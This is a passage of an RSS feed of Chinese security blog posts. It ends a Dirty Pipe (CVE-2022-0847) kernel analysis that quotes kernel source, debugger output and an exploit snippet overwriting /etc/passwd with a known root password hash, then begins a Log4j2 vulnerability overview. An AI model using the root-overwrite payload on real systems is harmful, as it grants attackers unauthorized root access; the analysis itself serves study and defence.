flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">    // ...</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">    buf = &amp;pipe-&gt;bufs[i_head &amp; p_mask];</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">    if (off) {</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">        if (offset == off &amp;&amp; buf-&gt;page == page) {</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">            /* merge with the last one */</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">            buf-&gt;len += bytes;</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">            i-&gt;iov_offset += bytes;</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">            goto out;</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">        }</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">        i_head++;</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">        buf = &amp;pipe-&gt;bufs[i_head &amp; p_mask];</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">    }</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">    if (pipe_full(i_head, p_tail, pipe-&gt;max_usage))</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">        return 0;</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer"><br/></span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">    buf-&gt;ops = &amp;page_cache_pipe_buf_ops;</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">    get_page(page);</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">    buf-&gt;page = page;</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">    buf-&gt;offset = offset;</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">    buf-&gt;len = bytes;</span></code></pre></section><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">如上代码可以看到，仅仅时完成了pipe_buf-&gt;page到page的引用，并没有实际的copy，完成零拷贝的同时完成的页绑定，调试获取此时<code style="box-sizing: border-box;padding: 3px 5px;color: rgb(255, 53, 2);line-height: 1.5;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;">buf-&gt;page</code>引用的页地址</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="c"><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">gef➤  p *(struct folio_batch*)fbatch</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">$12 = {</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">  nr = 0x1, </span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">  percpu_pvec_drained = 0x0, </span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">  folios = {0xffffea0000034800, 0xffff888003262b00, 0x10 &lt;fixed_percpu_data+16&gt;, 0xffffc900001cfe58, 0xffff888003262b00, 0x0 &lt;fixed_percpu_data&gt;, 0x20000 &lt;ftrace_stacks+6304&gt;, 0xffff8880006fd7c0, 0x0 &lt;fixed_percpu_data&gt;, 0x0 &lt;fixed_percpu_data&gt;, 0x4004 &lt;irq_stack_backing_store+8196&gt;, 0x0 &lt;fixed_percpu_data&gt;, 0xffffc900001cfd80, 0xffffc900001cfda8, 0xffffffffffffffff}</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">}</span></code></pre></section><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><img data-ratio="0.07119741100323625" title="null" data-type="png" data-w="1854" style="box-sizing: border-box;margin: 20px auto;line-height: 1.5;border-radius: 4px;display: block;width: 315px;" src="https://wechat2rss.xlab.app/img-proxy/?k=46ec3e1c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPN9wy7EzWWeiaXPtl2BGaOFg8xUF8yUaKZSssaVEelHIQIXib7e3BibQxYjJIJF3MKI2D9qtO2mvFNkWg%2F640%3Fwx_fmt%3Dpng"/></p><h3 style="box-sizing: border-box;margin: 40px 10px 20px;font-weight: bold;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 19.2px;">5）越权写</h3><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">继续看exp中的代码</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="c"><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">    const char *const data = &#34;:$1$aaron$pIwpJwMMcozsUxAtRa85w.:0:0:test:/root:/bin/sh\n&#34;;       // openssl passwd1 -1 -salt aaron aaron </span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">    printf(&#34;Setting root password to \&#34;aaron\&#34;...\n&#34;);</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">    const size_t data_size = strlen(data);</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer"><br/></span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">    /* the following write will not create a new pipe_buffer, but</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">       will instead write into the page cache, because of the</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">       PIPE_BUF_FLAG_CAN_MERGE flag */</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">    nbytes = write(p[1], data, data_size);</span></code></pre></section><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><code style="box-sizing: border-box;padding: 3px 5px;color: rgb(255, 53, 2);line-height: 1.5;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;">write</code>写管道内核中调用<code style="box-sizing: border-box;padding: 3px 5px;color: rgb(255, 53, 2);line-height: 1.5;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;">pipe_write</code></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="c"><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">//pipe.c#414</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">static ssize_t</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">pipe_write(struct kiocb *iocb, struct iov_iter *from)</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">{</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">    // ...</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">    if ((buf-&gt;flags &amp; PIPE_BUF_FLAG_CAN_MERGE) &amp;&amp;</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">        offset + chars &lt;= PAGE_SIZE) {</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">        ret = pipe_buf_confirm(pipe, buf);</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">        if (ret)</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">            goto out;</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer"><br/></span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">        ret = copy_page_from_iter(buf-&gt;page, offset, chars, from);</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">        if (unlikely(ret &lt; chars)) {</span></code></pre></section><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">下个断点，获取<code style="box-sizing: border-box;padding: 3px 5px;color: rgb(255, 53, 2);line-height: 1.5;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;">copy_page_from_iter()</code>参数<code style="box-sizing: border-box;padding: 3px 5px;color: rgb(255, 53, 2);line-height: 1.5;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;">buf-&gt;page</code>的值，和前面<code style="box-sizing: border-box;padding: 3px 5px;color: rgb(255, 53, 2);line-height: 1.5;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;">splice</code>中绑定的页是一致的<br style="box-sizing: border-box;"/><img class="rich_pages wxw-img" data-ratio="0.34074074074074073" title="null" data-type="png" data-w="540" style="box-sizing: border-box;margin: 20px auto;line-height: 1.5;border-radius: 4px;display: block;width: 315px;" src="https://wechat2rss.xlab.app/img-proxy/?k=65ecfc23&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPN9wy7EzWWeiaXPtl2BGaOFg86wwFbXgMqzwZ5lsUkzzYKAl696pe1A9a5w9JxnvrbTXUmCBibrrLg9Q%2F640%3Fwx_fmt%3Dpng"/><br style="box-sizing: border-box;"/>这里向管道写时没有权限校验的，且<code style="box-sizing: border-box;padding: 3px 5px;color: rgb(255, 53, 2);line-height: 1.5;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;">buf-&gt;flags</code>存在<code style="box-sizing: border-box;padding: 3px 5px;color: rgb(255, 53, 2);line-height: 1.5;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;">PIPE_BUF_FLAG_CAN_MERGE</code>时，直接调用<code style="box-sizing: border-box;padding: 3px 5px;color: rgb(255, 53, 2);line-height: 1.5;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;">copy_page_from_iter</code>完成从pipe缓冲区到文件页的拷贝。<br style="box-sizing: border-box;"/>如果没有这个标签的话，实际上会往<code style="box-sizing: border-box;padding: 3px 5px;color: rgb(255, 53, 2);line-height: 1.5;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;">pipe-&gt;tmp_page</code>去写，此时就不会写到目标文件中。</p><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><br/></p><h2 style="box-sizing: border-box;margin: 80px 10px 40px;white-space: normal;text-align: center;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 22.4px;">4. 参考</h2><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><a href="https://dirtypipe.cm4all.com/" target="_blank">https://dirtypipe.cm4all.com/</a></p><h3 style="box-sizing: border-box;margin: 40px 10px 20px;font-weight: bold;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 19.2px;">References</h3><p style="box-sizing: border-box;margin: 10px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;"><code style="box-sizing: border-box;font-size: 12.6px;opacity: 0.6;">[1]</code> exploit: <em style="box-sizing: border-box;"><a href="https://raw.githubusercontent.com/Arinerron/CVE-2022-0847-DirtyPipe-Exploit/main/exploit.c" target="_blank">https://raw.githubusercontent.com/Arinerron/CVE-2022-0847-DirtyPipe-Exploit/main/exploit.c</a></em><br style="box-sizing: border-box;"/><code style="box-sizing: border-box;font-size: 12.6px;opacity: 0.6;">[2]</code> commit: <em style="box-sizing: border-box;"><a href="https://github.com/torvalds/linux/commit/f6dd975583bd8ce088400648fd9819e4691c8958" target="_blank">https://github.com/torvalds/linux/commit/f6dd975583bd8ce088400648fd9819e4691c8958</a></em><br style="box-sizing: border-box;"/><code style="box-sizing: border-box;font-size: 12.6px;opacity: 0.6;">[3]</code> 补丁: <em style="box-sizing: border-box;"><a href="https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/diff/?id=9d2231c5d74e13b2a0546fee6737ee4446017903&amp;id2=e783362eb54cd99b2cac8b3a9aeac942e6f6ac07" target="_blank">https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/diff/?id=9d2231c5d74e13b2a0546fee6737ee4446017903&amp;id2=e783362eb54cd99b2cac8b3a9aeac942e6f6ac07</a></em><br style="box-sizing: border-box;"/><code style="box-sizing: border-box;font-size: 12.6px;opacity: 0.6;">[4]</code> commit 241699cd72a8 “new iov_iter flavour: pipe-backed” (Linux 4.9, 2016): <em style="box-sizing: border-box;"><a href="https://github.com/torvalds/linux/commit/241699cd72a8489c9446ae3910ddd243e9b9061b" target="_blank">https://github.com/torvalds/linux/commit/241699cd72a8489c9446ae3910ddd243e9b9061b</a></em></p><p><br/></p>



<p><a href="2247484718">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=7782c4ae&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzU1NzcxNjAyMQ%3D%3D%26mid%3D2247484718%26idx%3D1%26sn%3D6555815b833970a610a98db06cf2d0f3%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Thu, 10 Mar 2022 09:50:00 +0800</pubDate>
    </item>
    <item>
      <title>Log4j2系列漏洞分析汇总</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzU1NzcxNjAyMQ==&amp;mid=2247484703&amp;idx=1&amp;sn=a7b7a59b2ebf988ebce6d38160b11940</link>
      <description>关于Log4j2系列漏洞的原理、绕过及修复的完整总结。</description>
      <content:encoded><![CDATA[<p>
原创 <span>Jayway</span> <span>2021-12-22 16:34</span> <span style="display: inline-block;"></span>
</p>

<p>关于Log4j2系列漏洞的原理、绕过及修复的完整总结。</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=37cd9e7c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FpXIZNz7uPNicMWNJz7ywK2m7S5PBqbw31uibIZN1ibZKeXxjxRlXvpqkR5gf8Rj4aZsjOicP1kRUXep8biaw3fUdoAA%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p><span style="font-family: 黑体;font-size: 21px;">一、</span><strong style="font-size: 16px;"><span style="font-family:黑体;font-size:21px;">概述</span></strong></p><h3><strong><span style="font-family:宋体;font-size:21px;"><span style="font-family:Calibri;">1.1 </span><span style="font-family:宋体;">日志框架</span></span></strong></h3><p style="text-indent:28px;"><span style="font-family:宋体;font-size:14px;"><span style="font-family:Calibri;">Web</span><span style="font-family:宋体;">应用中，开发者通常通过打印日志快速定位问题，</span><span style="font-family:Calibri;">java</span><span style="font-family:宋体;">里常见的</span><span style="font-family:Calibri;">log</span><span style="font-family:宋体;">框架主要有：</span></span></p><p><span style="font-family:宋体;font-size:14px;"><span style="font-family:Calibri;">1</span><span style="font-family:宋体;">）</span><span style="font-family:Calibri;">java.util.logging</span><span style="font-family:宋体;">：</span><span style="font-family:Calibri;">JDK</span><span style="font-family:宋体;">中的</span><span style="font-family:Calibri;">Java</span><span style="font-family:宋体;">原生日志框架</span></span></p><p><span style="font-family:宋体;font-size:14px;"><span style="font-family:Calibri;">2</span><span style="font-family:宋体;">）</span><span style="font-family:Calibri;">Log4j</span><span style="font-family:宋体;">：基于 </span><span style="font-family:Calibri;">Java </span><span style="font-family:宋体;">的日志实用程序，使用广泛。</span></span></p><p><span style="font-family:宋体;font-size:14px;"><span style="font-family:Calibri;">3</span><span style="font-family:宋体;">）</span><span style="font-family:Calibri;">LogBack</span><span style="font-family:宋体;">：</span><span style="font-family:Calibri;">Log4j</span><span style="font-family:宋体;">的一个改良版本</span></span></p><p><span style="font-family:宋体;font-size:14px;"><span style="font-family:Calibri;">4</span><span style="font-family:宋体;">）</span><span style="font-family:Calibri;">Log4j 2</span><span style="font-family:宋体;">：对</span><span style="font-family:Calibri;">Log4j</span><span style="font-family:宋体;">的升级，比前身</span><span style="font-family:Calibri;">Log4j 1.x</span><span style="font-family:宋体;">提供了重大改进，并提供了</span><span style="font-family:Calibri;">Logback</span><span style="font-family:宋体;">中可用的许多改进，是目前最优秀的</span><span style="font-family:Calibri;">Java</span><span style="font-family:宋体;">日志框架。</span></span></p><p><span style="font-family:宋体;font-size:14px;"><span style="font-family:宋体;"><br/></span></span></p><h3><strong><span style="font-family:宋体;font-size:21px;"><span style="font-family:Calibri;">1.2 Log4j2</span><span style="font-family:宋体;">的使用</span></span></strong></h3><p><strong><span style="font-family:宋体;font-size:14px;"> </span></strong><span style="font-family:宋体;font-size:14px;"> <span style="font-family:宋体;">研究</span><span style="font-family:Calibri;">Log4j2</span><span style="font-family:宋体;">的漏洞，首先必须清楚这个组件是怎么用的，这里以</span><span style="font-family:Calibri;">Springboot</span><span style="font-family:宋体;">为例，实现登录</span><span style="font-family:Calibri;">/</span><span style="font-family:宋体;">注册功能将用户输入的用户名打印到日志中：</span></span></p><p style="text-indent:14px;"><span style="font-family:宋体;font-size:14px;"><span style="font-family:Calibri;">1</span><span style="font-family:宋体;">）新建项目</span><span style="font-family:Calibri;">Log4jDemo</span><span style="font-family:宋体;">，定义</span><span style="font-family:Calibri;">/login</span><span style="font-family:宋体;">接口，接收用户输入</span><span style="font-family:Calibri;">username</span><span style="font-family:宋体;">，通过</span><span style="font-family:Calibri;">log4j2</span><span style="font-family:宋体;">的</span><span style="font-family:Calibri;">logger.error</span><span style="font-family:宋体;">方法打印：</span></span><span style="font-family: Calibri;font-size: 14px;"></span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.3907407407407407" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=dcfc0851&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPNicMWNJz7ywK2m7S5PBqbw31hdN2iaXc1YMA4R1gEb9bs1mX1F901MPOqKfZuCYxGhSMiciarWhuQ83sQ%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="font-family:宋体;font-size:14px;"> <span style="font-family:Calibri;">2</span><span style="font-family:宋体;">）配置好</span><span style="font-family:Calibri;">maven</span><span style="font-family:宋体;">包含</span><span style="font-family:Calibri;">log4j-core2.14.0</span><span style="font-family:宋体;">依赖即可：</span></span></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.11640625" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=003885d9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPNicMWNJz7ywK2m7S5PBqbw310CuHLbhYnGZwypcLXCTOsS7U2HHl2EzWUpZiaqpp0j74OhLCiaCGtwmg%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-indent:14px;"><span style="font-size: 14px;"><span style="font-family: 宋体;">3）开启服务，访问</span><span style="font-family: Calibri;">POST</span><span style="font-family: 宋体;">接口，输入</span><span style="font-family: Calibri;">username=Jayway:</span></span></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.49296875" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=22a49722&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPNicMWNJz7ywK2m7S5PBqbw31UXnHGX191JwzdC97QajXZRvRTOSman1IicVhMLLhjDtv75Gia4QLWGUg%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="font-family:宋体;font-size:14px;"> <span style="font-family:Calibri;">4</span><span style="font-family:宋体;">）工作台打印日志：</span></span></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.3546875" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=4eb57261&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPNicMWNJz7ywK2m7S5PBqbw31g178VO9Dt7ozEoA8BictuRVRia1D1BMKMRicnbNN6iaETKGqJV1J2eFibqA%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="font-family:宋体;font-size:14px;">  <span style="font-family:宋体;">此外，</span><span style="font-family:Calibri;">log4j2</span><span style="font-family:宋体;">还支持上下文查找的模式：</span></span></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.4265625" data-s="300,640" style="" data-type="png" data-w="1280" 